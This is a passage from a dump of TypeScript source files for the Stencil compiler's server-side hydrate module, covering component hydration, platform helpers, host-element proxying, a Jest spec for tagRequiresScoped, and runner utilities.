    "content": "import { globalScripts } from '@app-globals';\nimport { addHostEventListeners, getHostRef, loadModule, plt, registerHost, setScopedSSR } from '@platform';\nimport { connectedCallback, insertVdomAnnotations } from '@runtime';\nimport { CMP_FLAGS } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { proxyHostElement } from './proxy-host-element';\n\nexport function hydrateApp(\n  win: Window & typeof globalThis,\n  opts: d.HydrateFactoryOptions,\n  results: d.HydrateResults,\n  afterHydrate: (\n    win: Window,\n    opts: d.HydrateFactoryOptions,\n    results: d.HydrateResults,\n    resolve: (results: d.HydrateResults) => void,\n  ) => void,\n  resolve: (results: d.HydrateResults) => void,\n) {\n  const connectedElements = new Set<any>();\n  const createdElements = new Set<HTMLElement>();\n  const waitingElements = new Set<HTMLElement>();\n  const orgDocumentCreateElement = win.document.createElement;\n  const orgDocumentCreateElementNS = win.document.createElementNS;\n  const resolved = Promise.resolve();\n  setScopedSSR(opts);\n\n  let tmrId: any;\n  let ranCompleted = false;\n\n  function hydratedComplete() {\n    globalThis.clearTimeout(tmrId);\n    createdElements.clear();\n    connectedElements.clear();\n\n    if (!ranCompleted) {\n      ranCompleted = true;\n      try {\n        if (opts.clientHydrateAnnotations) {\n          insertVdomAnnotations(win.document, opts.staticComponents);\n        }\n\n        win.dispatchEvent(new win.Event('DOMContentLoaded'));\n\n        win.document.createElement = orgDocumentCreateElement;\n        win.document.createElementNS = orgDocumentCreateElementNS;\n      } catch (e) {\n        renderCatchError(opts, results, e);\n      }\n    }\n\n    afterHydrate(win, opts, results, resolve);\n  }\n\n  function hydratedError(err: any) {\n    renderCatchError(opts, results, err);\n    hydratedComplete();\n  }\n\n  function timeoutExceeded() {\n    hydratedError(`Hydrate exceeded timeout${waitingOnElementsMsg(waitingElements)}`);\n  }\n\n  try {\n    function patchedConnectedCallback(this: d.HostElement) {\n      return connectElement(this);\n    }\n\n    function patchElement(elm: d.HostElement) {\n      if (isValidComponent(elm, opts)) {\n        // this element is a valid component\n\n        const hostRef = getHostRef(elm);\n        if (!hostRef) {\n          // we haven't registered this component's host element yet\n\n          // get the component's constructor\n          const Cstr = loadModule(\n            {\n              $tagName$: elm.nodeName.toLowerCase(),\n              $flags$: null,\n            },\n            null,\n          ) as d.ComponentConstructor;\n\n          if (Cstr != null && Cstr.cmpMeta != null) {\n            // we found valid component metadata\n\n            if (\n              opts.serializeShadowRoot !== false &&\n              !!(Cstr.cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) &&\n              tagRequiresScoped(elm.tagName, opts.serializeShadowRoot)\n            ) {\n              // this component requires scoped css encapsulation during SSR\n              const cmpMeta = Cstr.cmpMeta;\n              cmpMeta.$flags$ |= CMP_FLAGS.shadowNeedsScopedCss;\n\n              // 'cmpMeta' is a getter only, so needs redefining\n              Object.defineProperty(Cstr as any, 'cmpMeta', {\n                get: function (this: any) {\n                  return cmpMeta;\n                },\n              });\n            }\n\n            createdElements.add(elm);\n            elm.connectedCallback = patchedConnectedCallback;\n\n            // register the host element\n            registerHost(elm, Cstr.cmpMeta);\n\n            // proxy the host element with the component's metadata\n            proxyHostElement(elm, Cstr);\n          }\n        }\n      }\n    }\n\n    function patchChild(elm: any) {\n      if (elm != null && elm.nodeType === 1) {\n        patchElement(elm);\n        const children = elm.children;\n        for (let i = 0, ii = children.length; i < ii; i++) {\n          patchChild(children[i]);\n        }\n      }\n    }\n\n    function connectElement(elm: HTMLElement) {\n      createdElements.delete(elm);\n\n      if (isValidComponent(elm, opts) && results.hydratedCount < opts.maxHydrateCount) {\n        // this is a valid component to hydrate\n        // and we haven't hit our max hydrated count yet\n\n        if (!connectedElements.has(elm) && shouldHydrate(elm)) {\n          // we haven't connected this component yet\n          // and all of its ancestor elements are valid too\n\n          // add it to our Set so we know it's already being connected\n          connectedElements.add(elm);\n          return hydrateComponent.call(elm, win, results, elm.nodeName, elm, waitingElements);\n        }\n      }\n\n      return resolved;\n    }\n\n    function waitLoop(): Promise<void> {\n      const toConnect = Array.from(createdElements).filter((elm) => elm.parentElement);\n      if (toConnect.length > 0) {\n        return Promise.all(toConnect.map(connectElement)).then(waitLoop);\n      }\n      return resolved;\n    }\n\n    win.document.createElement = function patchedCreateElement(tagName: string) {\n      const elm = orgDocumentCreateElement.call(win.document, tagName);\n      patchElement(elm);\n      return elm;\n    };\n\n    win.document.createElementNS = function patchedCreateElement(namespaceURI: string, tagName: string) {\n      const elm = orgDocumentCreateElementNS.call(win.document, namespaceURI, tagName);\n      patchElement(elm as d.HostElement);\n      return elm;\n    } as (typeof window)['document']['createElementNS'];\n\n    // ensure we use NodeJS's native setTimeout, not the mocked hydrate app scoped one\n    tmrId = globalThis.setTimeout(timeoutExceeded, opts.timeout);\n\n    plt.$resourcesUrl$ = new URL(opts.resourcesUrl || './', win.document.baseURI).href;\n\n    globalScripts();\n\n    patchChild(win.document.body);\n\n    waitLoop().then(hydratedComplete).catch(hydratedError);\n  } catch (e) {\n    hydratedError(e);\n  }\n}\n\nasync function hydrateComponent(\n  this: HTMLElement,\n  win: Window & typeof globalThis,\n  results: d.HydrateResults,\n  tagName: string,\n  elm: d.HostElement,\n  waitingElements: Set<HTMLElement>,\n) {\n  tagName = tagName.toLowerCase();\n  const Cstr = loadModule(\n    {\n      $tagName$: tagName,\n      $flags$: null,\n    },\n    null,\n  ) as d.ComponentConstructor;\n\n  if (Cstr != null) {\n    const cmpMeta = Cstr.cmpMeta;\n\n    if (cmpMeta != null) {\n      waitingElements.add(elm);\n      const hostRef = getHostRef(this);\n      if (!hostRef) {\n        return;\n      }\n      addHostEventListeners(this, hostRef, cmpMeta.$listeners$, false);\n\n      try {\n        connectedCallback(elm);\n        await elm.componentOnReady();\n\n        results.hydratedCount++;\n\n        const ref = getHostRef(elm);\n        const modeName = !ref?.$modeName$ ? '$' : ref?.$modeName$;\n        if (!results.components.some((c) => c.tag === tagName && c.mode === modeName)) {\n          results.components.push({\n            tag: tagName,\n            mode: modeName,\n            count: 0,\n            depth: -1,\n          });\n        }\n      } catch (e) {\n        win.console.error(e);\n      }\n      waitingElements.delete(elm);\n    }\n  }\n}\n\nfunction isValidComponent(elm: Element, opts: d.HydrateFactoryOptions) {\n  if (elm != null && elm.nodeType === 1) {\n    // playing it safe and not using elm.tagName or elm.localName on purpose\n    const tagName = elm.nodeName;\n    if (typeof tagName === 'string' && tagName.includes('-')) {\n      if (opts.excludeComponents.includes(tagName.toLowerCase())) {\n        // this tagName we DO NOT want to hydrate\n        return false;\n      }\n      // all good, this is a valid component\n      return true;\n    }\n  }\n  return false;\n}\n\nfunction shouldHydrate(elm: Element): boolean {\n  if (elm.nodeType === 9) {\n    return true;\n  }\n  if (NO_HYDRATE_TAGS.has(elm.nodeName)) {\n    return false;\n  }\n  if (elm.hasAttribute('no-prerender')) {\n    return false;\n  }\n  const parentNode = elm.parentNode;\n  if (parentNode == null) {\n    return true;\n  }\n\n  return shouldHydrate(parentNode as Element);\n}\n\nconst NO_HYDRATE_TAGS = new Set([\n  'CODE',\n  'HEAD',\n  'IFRAME',\n  'INPUT',\n  'OBJECT',\n  'OUTPUT',\n  'NOSCRIPT',\n  'PRE',\n  'SCRIPT',\n  'SELECT',\n  'STYLE',\n  'TEMPLATE',\n  'TEXTAREA',\n]);\n\nfunction renderCatchError(opts: d.HydrateFactoryOptions, results: d.HydrateResults, err: any) {\n  const diagnostic: d.Diagnostic = {\n    level: 'error',\n    type: 'build',\n    header: 'Hydrate Error',\n    messageText: '',\n    relFilePath: undefined,\n    absFilePath: undefined,\n    lines: [],\n  };\n\n  if (opts.url) {\n    try {\n      const u = new URL(opts.url);\n      if (u.pathname !== '/') {\n        diagnostic.header += ': ' + u.pathname;\n      }\n    } catch (e) {}\n  }\n\n  if (err != null) {\n    if (err.stack != null) {\n      diagnostic.messageText = err.stack.toString();\n    } else if (err.message != null) {\n      diagnostic.messageText = err.message.toString();\n    } else {\n      diagnostic.messageText = err.toString();\n    }\n  }\n\n  results.diagnostics.push(diagnostic);\n}\n\nfunction printTag(elm: HTMLElement) {\n  let tag = `<${elm.nodeName.toLowerCase()}`;\n  if (Array.isArray(elm.attributes)) {\n    for (let i = 0; i < elm.attributes.length; i++) {\n      const attr = elm.attributes[i];\n      tag += ` ${attr.name}`;\n      if (attr.value !== '') {\n        tag += `=\"${attr.value}\"`;\n      }\n    }\n  }\n  tag += `>`;\n  return tag;\n}\n\nfunction waitingOnElementMsg(waitingElement: HTMLElement) {\n  let msg = '';\n  if (waitingElement) {\n    const lines = [];\n\n    msg = ' - waiting on:';\n    let elm = waitingElement;\n    while (elm && elm.nodeType !== 9 && elm.nodeName !== 'BODY') {\n      lines.unshift(printTag(elm));\n      elm = elm.parentElement;\n    }\n\n    let indent = '';\n    for (const ln of lines) {\n      indent += '  ';\n      msg += `\\n${indent}${ln}`;\n    }\n  }\n  return msg;\n}\n\nfunction waitingOnElementsMsg(waitingElements: Set<HTMLElement>) {\n  return Array.from(waitingElements).map(waitingOnElementMsg);\n}\n\n/**\n * Determines if the tag requires a declarative shadow dom\n * or a scoped / light dom during SSR.\n *\n * @param tagName - component tag name\n * @param opts - serializeShadowRoot options\n * @returns `true` when the tag requires a scoped / light dom during SSR\n */\nexport function tagRequiresScoped(tagName: string, opts: d.HydrateFactoryOptions['serializeShadowRoot']) {\n  if (typeof opts === 'string') {\n    return opts === 'scoped';\n  }\n\n  if (typeof opts === 'boolean') {\n    return opts === true ? false : true;\n  }\n\n  if (typeof opts === 'object') {\n    tagName = tagName.toLowerCase();\n\n    if (Array.isArray(opts['declarative-shadow-dom']) && opts['declarative-shadow-dom'].includes(tagName)) {\n      // if the tag is in the dsd array, return dsd\n      return false;\n    } else if (\n      (!Array.isArray(opts.scoped) || !opts.scoped.includes(tagName)) &&\n      opts.default === 'declarative-shadow-dom'\n    ) {\n      // if the tag is not in the scoped array and the default is dsd, return dsd\n      return false;\n    } else {\n      // otherwise, return scoped\n      return true;\n    }\n  }\n\n  return false;\n}\n"
  },
  {
    "path": "src/hydrate/platform/index.ts",
    "content": "import { BUILD } from '@app-data';\nimport { reWireGetterSetter } from '@utils/es2022-rewire-class-members';\n\nimport type * as d from '../../declarations';\nimport { CMP_FLAGS } from '@utils/constants';\n\n/**\n * Access transformTag via the closure-scoped $stencilTagTransform object.\n * This object is defined in the factory closure (HYDRATE_FACTORY_INTRO).\n * We declare it here to satisfy TypeScript, but at runtime it will be\n * provided by the factory closure scope.\n */\ndeclare const $stencilTagTransform: { transformTag: (tag: string) => string };\n\nlet customError: d.ErrorHandler;\n\nexport const cmpModules = new Map<string, { [exportName: string]: d.ComponentConstructor }>();\n\nconst getModule = (tagName: string): d.ComponentConstructor | null => {\n  if (typeof tagName === 'string') {\n    tagName = tagName.toLowerCase();\n    const cmpModule = cmpModules.get(tagName);\n    if (cmpModule != null) {\n      return cmpModule[tagName];\n    }\n  }\n  return null;\n};\n\nexport const loadModule = (\n  cmpMeta: d.ComponentRuntimeMeta,\n  _hostRef: d.HostRef,\n  _hmrVersionId?: string,\n): d.ComponentConstructor | null => {\n  return getModule(cmpMeta.$tagName$);\n};\n\nexport const isMemberInElement = (elm: any, memberName: string) => {\n  if (elm != null) {\n    if (memberName in elm) {\n      return true;\n    }\n    const cstr = getModule(elm.nodeName);\n    if (cstr != null) {\n      const hostRef: d.ComponentNativeConstructor = cstr as any;\n      if (hostRef != null && hostRef.cmpMeta != null && hostRef.cmpMeta.$members$ != null) {\n        return memberName in hostRef.cmpMeta.$members$;\n      }\n    }\n  }\n  return false;\n};\n\nexport const registerComponents = (Cstrs: d.ComponentNativeConstructor[]) => {\n  for (const Cstr of Cstrs) {\n    // using this format so it follows exactly how client-side modules work\n    const exportName = Cstr.cmpMeta.$tagName$;\n    // Access transformTag from the closure-scoped $stencilTagTransform object\n    // This ensures we use the same instance as the runner (prevents duplication)\n    const transformedTagName = $stencilTagTransform.transformTag(exportName);\n\n    cmpModules.set(exportName, {\n      [exportName]: Cstr,\n    });\n    if (transformedTagName !== exportName) {\n      cmpModules.set(transformedTagName, {\n        [transformedTagName]: Cstr,\n      });\n    }\n  }\n};\n\nexport const win = window;\n\nexport const readTask = (cb: Function) => {\n  nextTick(() => {\n    try {\n      cb();\n    } catch (e) {\n      consoleError(e);\n    }\n  });\n};\n\nexport const writeTask = (cb: Function) => {\n  nextTick(() => {\n    try {\n      cb();\n    } catch (e) {\n      consoleError(e);\n    }\n  });\n};\n\nconst resolved = /*@__PURE__*/ Promise.resolve();\nexport const nextTick = (cb: () => void) => resolved.then(cb);\n\nconst defaultConsoleError = (e: any) => {\n  if (e != null) {\n    console.error(e.stack || e.message || e);\n  }\n};\n\nexport const consoleError: d.ErrorHandler = (e: any, el?: any) => (customError || defaultConsoleError)(e, el);\n\nexport const consoleDevError = (..._: any[]) => {\n  /* noop for hydrate */\n};\n\nexport const consoleDevWarn = (..._: any[]) => {\n  /* noop for hydrate */\n};\n\nexport const consoleDevInfo = (..._: any[]) => {\n  /* noop for hydrate */\n};\n\nexport const setErrorHandler = (handler: d.ErrorHandler) => (customError = handler);\n\nexport const plt: d.PlatformRuntime = {\n  $flags$: 0,\n  $resourcesUrl$: '',\n  jmp: (h) => h(),\n  raf: (h) => requestAnimationFrame(h),\n  ael: (el, eventName, listener, opts) => el.addEventListener(eventName, listener, opts),\n  rel: (el, eventName, listener, opts) => el.removeEventListener(eventName, listener, opts),\n  ce: (eventName, opts) => new win.CustomEvent(eventName, opts),\n};\n\nexport const setPlatformHelpers = (helpers: {\n  jmp?: (c: any) => any;\n  raf?: (c: any) => number;\n  ael?: (el: any, eventName: string, listener: any, options: any) => void;\n  rel?: (el: any, eventName: string, listener: any, options: any) => void;\n  ce?: (eventName: string, opts?: any) => any;\n}) => {\n  Object.assign(plt, helpers);\n};\n\nexport const supportsShadow = BUILD.shadowDom;\n\nexport const supportsListenerOptions = false;\n\nexport const supportsConstructableStylesheets = false;\nexport const supportsMutableAdoptedStyleSheets = false;\n\nexport const getHostRef = (ref: d.RuntimeRef) => {\n  if (ref.__stencil__getHostRef) {\n    return ref.__stencil__getHostRef();\n  }\n\n  return undefined;\n};\n\nexport const registerInstance = (lazyInstance: any, hostRef: d.HostRef) => {\n  if (!hostRef) return undefined;\n  lazyInstance.__stencil__getHostRef = () => hostRef;\n  hostRef.$lazyInstance$ = lazyInstance;\n\n  if (hostRef.$cmpMeta$.$flags$ & CMP_FLAGS.hasModernPropertyDecls && (BUILD.state || BUILD.prop)) {\n    reWireGetterSetter(lazyInstance, hostRef);\n  }\n  return hostRef;\n};\n\nexport const registerHost = (elm: d.HostElement, cmpMeta: d.ComponentRuntimeMeta) => {\n  const hostRef: d.HostRef = {\n    $flags$: 0,\n    $cmpMeta$: cmpMeta,\n    $hostElement$: elm,\n    $instanceValues$: new Map(),\n    $serializerValues$: new Map(),\n    $renderCount$: 0,\n  };\n  hostRef.$fetchedCbList$ = [];\n  hostRef.$onInstancePromise$ = new Promise((r) => (hostRef.$onInstanceResolve$ = r));\n  hostRef.$onReadyPromise$ = new Promise((r) => (hostRef.$onReadyResolve$ = r));\n  elm['s-p'] = [];\n  elm['s-rc'] = [];\n  elm.__stencil__getHostRef = () => hostRef;\n\n  return hostRef;\n};\n\nexport const Build: d.UserBuildConditionals = {\n  isDev: false,\n  isBrowser: false,\n  isServer: true,\n  isTesting: false,\n};\n\nexport const styles: d.StyleMap = new Map();\nexport const modeResolutionChain: d.ResolutionHandler[] = [];\n\n/**\n * Checks to see any components are rendered with `scoped`\n * @param opts - SSR options\n */\nexport const setScopedSSR = (opts: d.HydrateFactoryOptions) => {\n  scopedSSR =\n    BUILD.shadowDom && opts.serializeShadowRoot !== false && opts.serializeShadowRoot !== 'declarative-shadow-dom';\n};\nexport const needsScopedSSR = () => scopedSSR;\n\nlet scopedSSR = false;\n\nexport { hAsync as h } from './h-async';\nexport { hydrateApp } from './hydrate-app';\nexport { BUILD, Env, NAMESPACE } from '@app-data';\nexport {\n  addHostEventListeners,\n  bootstrapLazy,\n  connectedCallback,\n  createEvent,\n  defineCustomElement,\n  disconnectedCallback,\n  forceModeUpdate,\n  forceUpdate,\n  Fragment,\n  getAssetPath,\n  getElement,\n  getMode,\n  getRenderingRef,\n  getValue,\n  Host,\n  insertVdomAnnotations,\n  jsx,\n  jsxDEV,\n  jsxs,\n  Mixin,\n  parsePropertyValue,\n  postUpdateComponent,\n  proxyComponent,\n  proxyCustomElement,\n  renderVdom,\n  setAssetPath,\n  setMode,\n  setNonce,\n  setTagTransformer,\n  setValue,\n  transformTag,\n} from '@runtime';\n"
  },
  {
    "path": "src/hydrate/platform/proxy-host-element.ts",
    "content": "import { consoleError, getHostRef } from '@platform';\nimport { getValue, parsePropertyValue, setValue } from '@runtime';\nimport { CMP_FLAGS, createShadowRoot, MEMBER_FLAGS } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport function proxyHostElement(elm: d.HostElement, cstr: d.ComponentConstructor): void {\n  const cmpMeta = cstr.cmpMeta;\n  cmpMeta.$watchers$ = cmpMeta.$watchers$ || cstr.watchers;\n  cmpMeta.$deserializers$ = cmpMeta.$deserializers$ || cstr.deserializers;\n  cmpMeta.$serializers$ = cmpMeta.$serializers$ || cstr.serializers;\n\n  if (typeof elm.componentOnReady !== 'function') {\n    elm.componentOnReady = componentOnReady;\n  }\n  if (typeof elm.forceUpdate !== 'function') {\n    elm.forceUpdate = forceUpdate;\n  }\n\n  /**\n   * Only attach shadow root if there isn't one already and\n   * the component is rendering DSD (not scoped) during SSR\n   */\n  if (\n    !elm.shadowRoot &&\n    !!(cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) &&\n    !(cmpMeta.$flags$ & CMP_FLAGS.shadowNeedsScopedCss)\n  ) {\n    createShadowRoot.call(elm, cmpMeta);\n  }\n\n  if (cmpMeta.$members$ != null) {\n    const hostRef = getHostRef(elm);\n\n    const members = Object.entries(cmpMeta.$members$);\n\n    members.forEach(([memberName, [memberFlags, metaAttributeName]]) => {\n      if (memberFlags & MEMBER_FLAGS.Prop) {\n        // hyphenated attribute name\n        const attributeName = metaAttributeName || memberName;\n        // attribute value\n        const attrValue = elm.getAttribute(attributeName);\n        // property value\n        const propValue = (elm as any)[memberName];\n        let attrPropVal: any;\n        // any existing getter/setter applied to class property\n        const { get: origGetter, set: origSetter } =\n          Object.getOwnPropertyDescriptor((cstr as any).prototype, memberName) || {};\n\n        if (attrValue != null) {\n          // incoming value from `an-attribute=....`.\n\n          if (cmpMeta.$deserializers$?.[memberName]) {\n            // we have a custom deserializer for this member\n            for (const deserializer of cmpMeta.$deserializers$[memberName]) {\n              const [[methodName]] = Object.entries(deserializer);\n              attrPropVal = (cstr as any).prototype[methodName](attrValue, memberName);\n            }\n          } else {\n            // otherwise, convert from string to correct type\n            attrPropVal = parsePropertyValue(attrValue, memberFlags, !!(cmpMeta.$flags$ & CMP_FLAGS.formAssociated));\n          }\n        }\n\n        if (propValue !== undefined) {\n          // incoming value set on the host element (e.g `element.aProp = ...`)\n          // let's add that to our instance values and pull it off the element.\n          // This allows any applied getter/setter to kick in instead whilst still getting this value\n          attrPropVal = propValue;\n          delete (elm as any)[memberName];\n        }\n\n        if (attrPropVal !== undefined) {\n          // value set via attribute/prop on the host element\n          if (origSetter) {\n            // we have an original setter, so let's set the value via that.\n            origSetter.apply(elm, [attrPropVal]);\n            attrPropVal = origGetter ? origGetter.apply(elm) : attrPropVal;\n          }\n          hostRef?.$instanceValues$?.set(memberName, attrPropVal);\n        }\n\n        // element\n        const getterSetterDescriptor: PropertyDescriptor = {\n          get: function (this: d.RuntimeRef) {\n            return getValue(this, memberName);\n          },\n          set: function (this: d.RuntimeRef, newValue: unknown) {\n            setValue(this, memberName, newValue, cmpMeta);\n          },\n          configurable: true,\n          enumerable: true,\n        };\n        Object.defineProperty(elm, memberName, getterSetterDescriptor);\n        Object.defineProperty(elm, metaAttributeName, getterSetterDescriptor);\n\n        hostRef.$fetchedCbList$.push(() => {\n          if (!hostRef?.$instanceValues$?.has(memberName)) {\n            setValue(\n              elm,\n              memberName,\n              attrPropVal !== undefined ? attrPropVal : hostRef.$lazyInstance$[memberName],\n              cmpMeta,\n            );\n          }\n          Object.defineProperty(hostRef.$lazyInstance$, memberName, getterSetterDescriptor);\n        });\n      } else if (memberFlags & MEMBER_FLAGS.Method) {\n        Object.defineProperty(elm, memberName, {\n          value(this: d.HostElement, ...args: any[]) {\n            const ref = getHostRef(this);\n            return ref?.$onInstancePromise$\n              ?.then(() => ref?.$lazyInstance$?.[memberName](...args))\n              .catch((e) => {\n                consoleError(e, this);\n              });\n          },\n        });\n      }\n    });\n  }\n}\n\nfunction componentOnReady(this: d.HostElement) {\n  return getHostRef(this)?.$onReadyPromise$;\n}\n\nfunction forceUpdate(this: d.HostElement) {\n  /**/\n}\n"
  },
  {
    "path": "src/hydrate/platform/test/__mocks__/@app-globals/index.ts",
    "content": "export const globalScripts = /* default */ () => {\n  /**/\n};\n"
  },
  {
    "path": "src/hydrate/platform/test/serialize-shadow-root-opts.spec.ts",
    "content": "import type { tagRequiresScoped as TypeTagRequiresScoped } from '../hydrate-app';\n\ndescribe('tagRequiresScoped', () => {\n  let tagRequiresScoped: typeof TypeTagRequiresScoped;\n\n  beforeEach(async () => {\n    tagRequiresScoped = require('../hydrate-app').tagRequiresScoped;\n  });\n\n  afterEach(async () => {\n    jest.resetModules();\n  });\n\n  it('should return true for a component with serializeShadowRoot: true', () => {\n    expect(tagRequiresScoped('cmp-a', true)).toBe(false);\n  });\n\n  it('should return false for a component serializeShadowRoot: false', () => {\n    expect(tagRequiresScoped('cmp-b', false)).toBe(true);\n  });\n\n  it('should return false for a component with serializeShadowRoot: undefined', () => {\n    expect(tagRequiresScoped('cmp-c', undefined)).toBe(false);\n  });\n\n  it('should return true for a component with serializeShadowRoot: \"scoped\"', () => {\n    expect(tagRequiresScoped('cmp-d', 'scoped')).toBe(true);\n  });\n\n  it('should return false for a component with serializeShadowRoot: \"declarative-shadow-dom\"', () => {\n    expect(tagRequiresScoped('cmp-e', 'declarative-shadow-dom')).toBe(false);\n  });\n\n  it('should return true for a component when tag is in scoped list', () => {\n    expect(tagRequiresScoped('cmp-f', { scoped: ['cmp-f'], default: 'scoped' })).toBe(true);\n  });\n\n  it('should return false for a component when tag is not scoped list', () => {\n    expect(tagRequiresScoped('cmp-g', { scoped: ['cmp-f'], default: 'declarative-shadow-dom' })).toBe(false);\n  });\n\n  it('should return true for a component when default is scoped', () => {\n    expect(tagRequiresScoped('cmp-g', { 'declarative-shadow-dom': ['cmp-f'], default: 'scoped' })).toBe(true);\n  });\n\n  it('should return false for a component when default is declarative-shadow-dom', () => {\n    expect(tagRequiresScoped('cmp-g', { 'declarative-shadow-dom': ['cmp-f'], default: 'declarative-shadow-dom' })).toBe(\n      false,\n    );\n  });\n});\n"
  },
  {
    "path": "src/hydrate/runner/create-window.ts",
    "content": "import { cloneWindow, MockWindow } from '@stencil/core/mock-doc';\n\nconst templateWindows = new Map<string, Window>();\n\nexport function createWindowFromHtml(templateHtml: string, uniqueId: string) {\n  let templateWindow = templateWindows.get(uniqueId);\n  if (templateWindow == null) {\n    templateWindow = new MockWindow(templateHtml) as any;\n    templateWindows.set(uniqueId, templateWindow);\n  }\n\n  const win = cloneWindow(templateWindow);\n  return win as any;\n}\n"
  },
  {
    "path": "src/hydrate/runner/hydrate-factory.ts",
    "content": "import { MockWindow } from '@stencil/core/mock-doc';\n\nimport type * as d from '../../declarations';\n\nexport function hydrateFactory<DocOptions extends d.SerializeDocumentOptions>(\n  win: MockWindow,\n  opts: d.HydrateDocumentOptions,\n  results: d.HydrateResults,\n  afterHydrate: (\n    win: MockWindow,\n    opts: DocOptions,\n    results: d.HydrateResults,\n    resolve: (results: d.HydrateResults) => void,\n  ) => void,\n  resolve: (results: d.HydrateResults) => void,\n) {\n  win;\n  opts;\n  results;\n  afterHydrate;\n  resolve;\n}\n\n/**\n * These are stub exports that will be replaced during compilation with the actual\n * tag transform functions from the factory bundle.\n */\nexport const setTagTransformer: d.TagTransformer = null as any;\nexport const transformTag: <T extends string>(tag: T) => T = null as any;\n"
  },
  {
    "path": "src/hydrate/runner/index.ts",
    "content": "export { createWindowFromHtml } from './create-window';\nexport { hydrateDocument, renderToString, serializeDocumentToString, streamToString } from './render';\nexport { deserializeProperty, serializeProperty } from '@utils';\n\nimport { setTagTransformer, transformTag } from '@runtime';\nexport { setTagTransformer, transformTag };\n"
  },
  {
    "path": "src/hydrate/runner/inspect-element.ts",
    "content": "import type * as d from '../../declarations';\n\nexport function inspectElement(results: d.HydrateResults, elm: Element, depth: number) {\n  const children = [...Array.from(elm.children), ...Array.from(elm.shadowRoot ? elm.shadowRoot.children : [])];\n\n  for (let i = 0, ii = children.length; i < ii; i++) {\n    const childElm = children[i];\n    const tagName = childElm.nodeName.toLowerCase();\n\n    if (tagName.includes('-')) {\n      // we've already collected components that were hydrated\n      // now that the document is completed we can count how\n      // many they are and their depth\n      const cmp = results.components.find((c) => c.tag === tagName);\n      if (cmp != null) {\n        cmp.count++;\n        if (depth > cmp.depth) {\n          cmp.depth = depth;\n        }\n      }\n    } else {\n      switch (tagName) {\n        case 'a':\n          const anchor = collectAttributes(childElm);\n          anchor.href = (childElm as HTMLAnchorElement).href;\n          if (typeof anchor.href === 'string') {\n            if (!results.anchors.some((a) => a.href === anchor.href)) {\n              results.anchors.push(anchor);\n            }\n          }\n          break;\n\n        case 'img':\n          const img = collectAttributes(childElm);\n          img.src = (childElm as HTMLImageElement).src;\n          if (typeof img.src === 'string') {\n            if (!results.imgs.some((a) => a.src === img.src)) {\n              results.imgs.push(img);\n            }\n          }\n          break;\n\n        case 'link':\n          const link = collectAttributes(childElm);\n          link.href = (childElm as HTMLLinkElement).href;\n          if (typeof link.rel === 'string' && link.rel.toLowerCase() === 'stylesheet') {\n            if (typeof link.href === 'string') {\n              if (!results.styles.some((s) => s.link === link.href)) {\n                delete link.rel;\n                delete link.type;\n                results.styles.push(link);\n              }\n            }\n          }\n          break;\n\n        case 'script':\n          const script = collectAttributes(childElm);\n\n          if (childElm.hasAttribute('src')) {\n            script.src = (childElm as HTMLScriptElement).src;\n            if (typeof script.src === 'string') {\n              if (!results.scripts.some((s) => s.src === script.src)) {\n                results.scripts.push(script);\n              }\n            }\n          } else {\n            const staticDataKey = childElm.getAttribute('data-stencil-static');\n            if (staticDataKey) {\n              // <script data-stencil-static=\"page.state\" type=\"application/json\">DATA</script>\n              results.staticData.push({\n                id: staticDataKey,\n                type: childElm.getAttribute('type'),\n                content: childElm.textContent,\n              });\n            }\n          }\n          break;\n      }\n    }\n\n    depth++;\n\n    inspectElement(results, childElm, depth);\n  }\n}\n\nfunction collectAttributes(node: Element) {\n  const parsedElm: d.HydrateElement = {};\n  const attrs = node.attributes;\n  for (let i = 0, ii = attrs.length; i < ii; i++) {\n    const attr = attrs.item(i);\n    const attrName = attr.nodeName.toLowerCase();\n    if (SKIP_ATTRS.has(attrName)) {\n      continue;\n    }\n    const attrValue = attr.nodeValue;\n    if (attrName === 'class' && attrValue === '') {\n      continue;\n    }\n    parsedElm[attrName] = attrValue;\n  }\n  return parsedElm;\n}\n\nconst SKIP_ATTRS = new Set(['s-id', 'c-id']);\n"
  },
  {
    "path": "src/hydrate/runner/patch-dom-implementation.ts",
    "content": "import { MockWindow, patchWindow } from '@stencil/core/mock-doc';\n\nimport type * as d from '../../declarations';\n\nexport function patchDomImplementation(doc: any, opts: d.HydrateFactoryOptions) {\n  let win: MockWindow;\n\n  if (doc.defaultView != null) {\n    opts.destroyWindow = true;\n    patchWindow(doc.defaultView);\n    win = doc.defaultView;\n  } else {\n    opts.destroyWindow = true;\n    opts.destroyDocument = false;\n    win = new MockWindow(false) as any;\n  }\n\n  if (win.document !== doc) {\n    win.document = doc;\n  }\n\n  if (doc.defaultView !== win) {\n    doc.defaultView = win;\n  }\n\n  const HTMLElement = doc.documentElement.constructor.prototype;\n  if (typeof HTMLElement.getRootNode !== 'function') {\n    const elm = doc.createElement('unknown-element');\n    const HTMLUnknownElement = elm.constructor.prototype;\n    HTMLUnknownElement.getRootNode = getRootNode;\n  }\n\n  if (typeof doc.createEvent === 'function') {\n    const CustomEvent = doc.createEvent('CustomEvent').constructor;\n    if (win.CustomEvent !== CustomEvent) {\n      win.CustomEvent = CustomEvent;\n    }\n  }\n\n  try {\n    // @ts-expect-error Assigning the baseURI prevents JavaScript optimizers from treating this as dead code\n    win.__stencil_baseURI = doc.baseURI;\n  } catch (e) {\n    Object.defineProperty(doc, 'baseURI', {\n      get() {\n        const baseElm = doc.querySelector('base[href]');\n        if (baseElm) {\n          return new URL(baseElm.getAttribute('href'), win.location.href).href;\n        }\n        return win.location.href;\n      },\n    });\n  }\n\n  return win;\n}\n\nfunction getRootNode(this: Node, opts?: { composed?: boolean; [key: string]: any }) {\n  const isComposed = opts != null && opts.composed === true;\n\n  let node: Node = this;\n\n  while (node.parentNode != null) {\n    node = node.parentNode;\n\n    if (isComposed === true && node.parentNode == null && (node as any).host != null) {\n      node = (node as any).host;\n    }\n  }\n\n  return node;\n}\n"
  },
  {
    "path": "src/hydrate/runner/render-utils.ts",
